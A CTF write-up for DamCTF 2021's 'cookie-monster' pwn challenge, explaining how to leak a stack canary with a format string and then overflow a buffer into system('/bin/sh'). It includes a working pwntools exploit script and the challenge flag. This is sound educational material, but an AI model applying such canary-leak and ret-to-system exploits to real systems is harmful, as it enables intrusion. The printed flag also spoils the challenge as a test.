📖
CTF Wiki
  • 🚩Arne's CTF Writeups!
  • 2025
    • TUCTF
      • Forensics - Security Rocks
    • San Diego CTF
      • Crypto - RustSA
      • Misc - Triglot
  • 2024
    • Lexington CTF
      • Misc - a little bit of tomcroppery
    • Imaginary CTF
      • Web - Journal
    • Space Heroes CTF
      • Web - Antikythera
    • HTB Cyber Apocalypse
      • Pwn - Sound of Silence
      • Misc - MultiDigilingual
  • 2023
    • NahamConCTF
      • Mobile - Red Light Green Light
    • BucketCTF
      • Rev - Schematic
      • Rev - Random security
    • HTB Cyber Apocalypse
      • Rev - Cave System
      • Rev - Somewhat Linear
      • Pwn - Void
  • 2022
    • DownUnderCTF 2022
      • Cloud - Jimmy Builds a Kite
    • Ã¥ngstromCTF 2022
      • Pwn - really obnoxious problem
      • Pwn - whatsmyname
    • Engineer CTF
      • Misc - Not really random
      • Misc - Broken Pieces
    • KnightCTF 2022
    • HTB CTF: Dirty Money
      • Forensics - Perseverance
  • 2021
    • MetaCTF CyberGames 2021
    • HTB - Cyber Santa
      • RE - Infiltration
    • Securebug CTF Thor 2021
      • Web - Tricks 1
      • Web - Tricks 2
      • RE - Hidden in Plain Sight
    • TFC CTF 2021
      • RE - Crackity
      • Pwn - Jumpy
      • Misc - Weird Friend
    • K3RN3L CTF 2021
      • Crypto - Pascal RSA
    • DamCTF 2021
      • Misc - library-of-babel
      • Pwn - cookie-monster
    • Killer Queen CTF 2021
      • Pwn - Tweety Birb
      • Forensics - Tippy Tappies
      • Pwn - I want to break free
    • BuckeyeCTF 2021
      • Web - pay2win
      • Misc - USB Exfiltration
Powered by GitBook
On this page
  • Description
  • Downloads
  • Solution
  1. 2021
  2. DamCTF 2021

Pwn - cookie-monster

153 solves | 406 points

Last updated 3 years ago

Description

Do you like cookies? I like cookies.

Downloads

Solution

First, let's check the binary security in place.

Next, decompile the binary in Ghidra. The main logic of the program is in the bakery() function.

Here, line 17 is particularly interesting because it is a system call but the argument is not what we want. After exploring the binary further in Ghidra, we found an interesting string /bin/sh.

So we can pretty much formulate our attack plan now. The plan is to make use of the buffer overflow in line 19 to ret to system and passing the /bin/sh argument into the system call. However, since stack canary is enabled, we would first need to make use of the format string vulnerability in line 13 to leak the canary before proceeding with our buffer overflow.

We shall first find out how to leak the canary in gdb. Set a breakpoint at 0x804859e so that we can inspect the canary value which is to be stored in the EAX register.

Continue execution in gdb and we can see that our canary value is 0xce359b00.

The next step requires a little trial and error but since the fgets function only reads in 32 characters, we shall try printing %p 15 times (30 characters in total).

We will see that indeed, we can leak the canary 0xce359b00 on the 15th %p. Now that we have everything we need, its time to write the exploit script.

from pwn import *

system = 0x804860c
binsh = 0x8048770

context.log_level = 'debug'

#p = process('./cookie-monster')
p = remote('chals.damctf.xyz', 31312)
p.recv()
p.sendline(b'%15$p')
canary = int(p.recvuntil('\n').decode().rstrip().split(" ")[-1], 16)
log.info('Canary = %#x', canary)

payload = b''
payload += b'A' * 32
payload += p32(canary)
payload += b'B' * (48 - len(payload))
payload += p32(system)
payload += p32(binsh)

p.sendlineafter('purchase?\n', payload)
p.interactive()

Flag: dam{s74CK_c00k13S_4r3_d3L1C10Us}

7KB
cookie-monster
Canary in 'EAX' register
Set breakpoint in gdb